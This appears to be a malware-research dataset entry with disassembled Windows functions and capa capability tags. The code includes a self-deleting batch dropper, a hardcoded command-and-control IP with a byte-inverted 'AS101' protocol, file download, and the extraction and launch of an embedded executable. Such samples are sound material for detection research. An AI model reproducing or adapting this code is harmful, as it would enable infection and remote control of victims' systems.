joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f14
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x401fbd
mov ebx, 0xb69
push ebx
call fcn.0040890c
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
je 0x401fae
mov eax, dword [ebp - 4]
push 4
add eax, 0x30
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
mov ecx, dword [eax]
jl 0x401f90
jg 0x401f84
cmp ecx, dword [ebp - 0x18]
jbe 0x401f90
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x89
dec ebx
jne 0x401f73
add esi, dword [ebp - 0x18]
push ebx
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.00416f40
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x401fbd
push dword [ebp - 4]
call fcn.00408917
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401fcd
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x402016
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret

Function at 0x402284
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
xor esi, esi
call fcn.00415130
add esp, 0xc
test edi, edi
je 0x40234a
and dword [ebp - 0x7c], esi
mov ecx, 0x42a980
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x4022cf
sub eax, esi
sar eax, 1
je 0x4022f3
push 0x42a8e4
push ecx
lea eax, [ebp - 0x7c]
push eax
call fcn.004132ab
add esp, 0xc
jmp 0x402327
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00412d56
push 0x42a8e4
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.004132ab
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x7c], 0
je 0x40234a
push dword [ebp - 0x7c]
push esi
push 0x200
push edi
call fcn.00413871
push dword [ebp - 0x7c]
call fcn.00413632
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00412d47
add ebp, 0x194
leave
ret
Function at 0x402362
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push 0x42a868
push dword [ebp + 8]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.004132ab
add esp, 0xc
test eax, eax
je 0x40238c
xor eax, eax
jmp 0x40240f
push ebx
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.0041397d
push dword [ebp - 4]
call fcn.00413b9f
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.0041397d
lea eax, [esi + 0x32]
push eax
mov dword [ebp - 8], eax
call fcn.00413c5c
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.0041359e
push dword [ebp - 4]
call fcn.00413632
push 0x32
lea ebx, [edi + esi]
call fcn.00402412
push 0x42a8e4
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.004132ab
add esp, 0x44
pop esi
pop ebx
test eax, eax
jne 0x402385
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00413871
push dword [ebp - 4]
call fcn.00413632
xor eax, eax
add esp, 0x14
inc eax
pop edi
leave
ret
Function at 0x402454
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp + 0x294], eax
push ebx
push esi
lea eax, [ebp + 0x190]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push str._uinsey.bat
lea eax, [ebp + 0x190]
push esi
push eax
call fcn.00414584
add esp, 0xc
push esi
lea eax, [ebp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00413d26
lea eax, [ebp - 0x78]
push 0x5c
push eax
call fcn.00413d90
add esp, 0x14
cmp eax, ebx
je 0x4024d2
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x4025b6
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402502
sub eax, edx
lea ecx, [ebp + 0x8c]
push edi
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x402517
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x402529
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call fcn.0040890c
push esi
mov edi, eax
push ebx
push edi
call fcn.00415130
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push esi
push edi
call fcn.00413dbd
mov eax, edi
add esp, 0x2c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402572
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x4025b5
push edi
call fcn.00408917
pop ecx
pop edi
mov ecx, dword [ebp + 0x294]
pop esi
xor ecx, ebp
pop ebx
call fcn.00412d47
add ebp, 0x298
leave
ret
Function at 0x4025cd
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x248], ax
xor esi, esi
lea eax, [ebp - 0x246]
push esi
push eax
call fcn.00415130
add esp, 0xc
lea eax, [ebp - 0x3d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x435480
call fcn.004019dc
pop ecx
push 2
pop ebx
test eax, eax
jne 0x4026e8
push 0x3a
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push esi
push eax
call fcn.00415130
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.0040277a
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x435628], cx
add eax, ebx
cmp cx, si
jne 0x40264a
push str.218.54.31.165
push 0x40
push 0x435484
call fcn.00412dd3
add esp, 0xc
push 0x51
pop eax
push str.AAAA
push 0x10
push 0x435506
mov word [0x435504], ax
call fcn.00412dd3
add esp, 0xc
push 0x42a778
push 0x40
push 0x435526
call fcn.00412dd3
mov eax, 0x2b66
add esp, 0xc
mov word [0x4355a6], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x435608], cx
add eax, ebx
cmp cx, si
jne 0x4026af
mov edi, 0x435608
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x4026c9
mov esi, 0x42a91c
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x435648], 5
xor esi, esi
call fcn.00402808
lea edi, [ebp - 0x248]
call fcn.0040277a
xor eax, eax
movzx ecx, word [ebp + eax - 0x248]
mov word [eax + 0x4358b8], cx
add eax, ebx
cmp cx, si
jne 0x4026fa
mov edi, 0x4358b8
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
cmp eax, esi
je 0x402731
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40276b
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
test eax, eax
je 0x40272d
mov ebx, 0x435938
call fcn.004029ef
mov eax, dword [0x43564c]
push esi
push esi
push esi
push 0x402e65
push esi
push esi
mov dword [0x435940], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x431fc4], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412d47
leave
ret
Function at 0x402be6
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.00413c5c
pop ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402c57
push dword [ebp - 0x28]
call fcn.004141b7
push dword [ebp - 0x34]
call fcn.00413c5c
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x402d11
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x402d11
jmp 0x402c7e
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x2c]
test edi, edi
je 0x402c91
lea esi, [eax + 0x194]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax + 0x1ac]
test esi, esi
je 0x402d00
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402ca3
sub eax, ecx
cmp eax, 0x10
jle 0x402cb4
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x402cd4
cmp ecx, eax
jne 0x402cc5
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x402cbc
lea eax, [ebp - 0x24]
push eax
call fcn.00402891
pop ecx
test eax, eax
je 0x402cf6
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
push 0x10
push dword [eax + ebx*4]
call fcn.00412dd3
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x402c9b
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x402d11
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x402c7b
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x402d28
push dword [ebp - 0x28]
call fcn.004141b7
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00412d47
leave
ret
Function at 0x40307f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp - 4], eax
push dword [ebp + 8]
mov dword [ebp - 0x430], ecx
call fcn.004031f0
pop ecx
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x4031e4
push ebx
push esi
push edi
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.00415130
xor eax, eax
push esi
push eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push eax
call fcn.00415130
lea edi, [ebp - 0x220]
call fcn.00402f64
push 0x42a870
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00412d56
mov byte [ebp - 0x18], 0
add esp, 0x24
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x434b68
cmp word [ebx], 0
je 0x403171
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412dd3
push ebx
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412d56
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x18]
call fcn.00405386
add esp, 0x1c
test eax, eax
je 0x403171
push 5
pop ecx
lea edi, [ebx + 0x104]
lea esi, [ebp - 0x18]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
mov esi, 0x104
jne 0x403171
mov word [ebx], ax
add ebx, 0x118
cmp ebx, 0x4350e0
jl 0x403119
mov edi, 0x434b68
cmp word [edi], 0
je 0x40319c
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x430]
call fcn.00403974
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x4350e0
jl 0x403184
push 0x435b38
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.00412d56
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
jne 0x4031de
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412d47
leave
ret
Function at 0x4033c7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x804]
cmp ecx, ebx
je 0x4033e9
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9a4]
push eax
push 0x101
mov dword [ebp - 0x9a8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403411
xor eax, eax
jmp 0x4034a3
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x40340a
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403451
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9a8], eax
push 4
lea eax, [ebp - 0x9a8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403492
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x810], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x814], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x812], ax
push 0x10
lea eax, [ebp - 0x814]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403492
xor ebx, ebx
inc ebx
jmp 0x4034a1
mov eax, dword [esi]
test eax, eax
je 0x4034a1
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00412d47
leave
ret

Function at 0x4035dc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403659
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403603
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x4035f7
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.0040890c
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00419bf0
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x40365c
cmp eax, dword [ebp - 4]
jne 0x40365c
mov dword [ebp - 8], 1
jmp 0x40365c
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403667
push ebx
call fcn.00408917
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x403800
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x40383e
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x40395c
cmp edi, ebx
je 0x40395c
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.00415130
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x40395c
cmp eax, ebx
je 0x40395c
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.0040890c
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x403947
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x403925
test eax, eax
je 0x403925
add ebx, eax
cmp edi, ebx
jg 0x4038ad
push 5
pop ecx
cmp ebx, ecx
jl 0x403947
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x403947
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x403905
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x4038ff
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x40392d
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00419bf0
mov dword [esi], ebx
jmp 0x40393a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x403947
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00419bf0
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x40395c
push dword [ebp - 0x860]
call fcn.00408917
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412d47
add ebp, 0x70
leave
ret
Function at 0x403bad
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.004175e0
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x403bf3
xor eax, eax
jmp 0x403c3b
cmp dword [ebp - 0x78], ebx
jbe 0x403c2a
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x403c2a
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00413871
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x403bf8
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00413632
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.00412d47
add ebp, 0xf90
leave
ret

Function at 0x403c52
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x430c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x238], ax
xor ebx, ebx
lea eax, [ebp - 0x236]
push ebx
push eax
call fcn.00415130
mov esi, 0x435608
mov eax, esi
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x403c92
sub eax, edx
sar eax, 1
je 0x403cb7
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
test eax, eax
jne 0x403d8b
lea eax, [ebp - 0x238]
push eax
mov edi, 0x104
push edi
mov dword [ebp - 0x23c], ebx
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x403cd5
sub eax, edx
sar eax, 1
lea eax, [ebp - 0x238]
jne 0x403d0c
push str.yafu
push edi
push eax
call fcn.00412d56
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + str.yafu]
inc eax
inc eax
cmp cx, bx
jne 0x403cfc
jmp 0x403d27
push esi
push edi
push eax
call fcn.00412d56
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + 0x435608]
inc eax
inc eax
cmp cx, bx
jne 0x403d19
push str..exe
lea eax, [ebp - 0x238]
push edi
push eax
call fcn.00412d56
lea eax, [ebp - 0x23c]
add esp, 0xc
push eax
call fcn.00403d9c
mov esi, eax
pop ecx
cmp esi, ebx
je 0x403d8b
push dword [ebp - 0x23c]
lea eax, [ebp - 0x238]
push esi
push eax
call fcn.00403e06
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
push ebx
push 0x42a980
lea eax, [ebp - 0x238]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call fcn.00408917
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00412d47
leave
ret
Function at 0x403d9c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push str.IDR_BINARY
mov ebx, eax
push 0x89
push ebx
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x403e00
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebx, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.0040890c
push esi
mov edi, eax
push 0
push edi
call fcn.00415130
push esi
push ebx
push edi
call fcn.00419bf0
add esp, 0x1c
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret

Function at 0x403e06
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403e2f
push dword [ebp + 8]
call fcn.00403ea6
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x403e2f
inc ebx
jmp 0x403e9f
mov edi, 0x200000
push edi
call fcn.00413c5c
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.00403efb
add esp, 0xc
test eax, eax
je 0x403e98
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00412e42
pop ecx
push 0x32
mov eax, 0xc8
call fcn.004021eb
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.00402412
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.00403f69
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.004141b7
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x403ea6
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push connect
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x403ed5
mov edx, esi
jmp 0x403ef4
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
cmp eax, 1
jne 0x403eeb
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret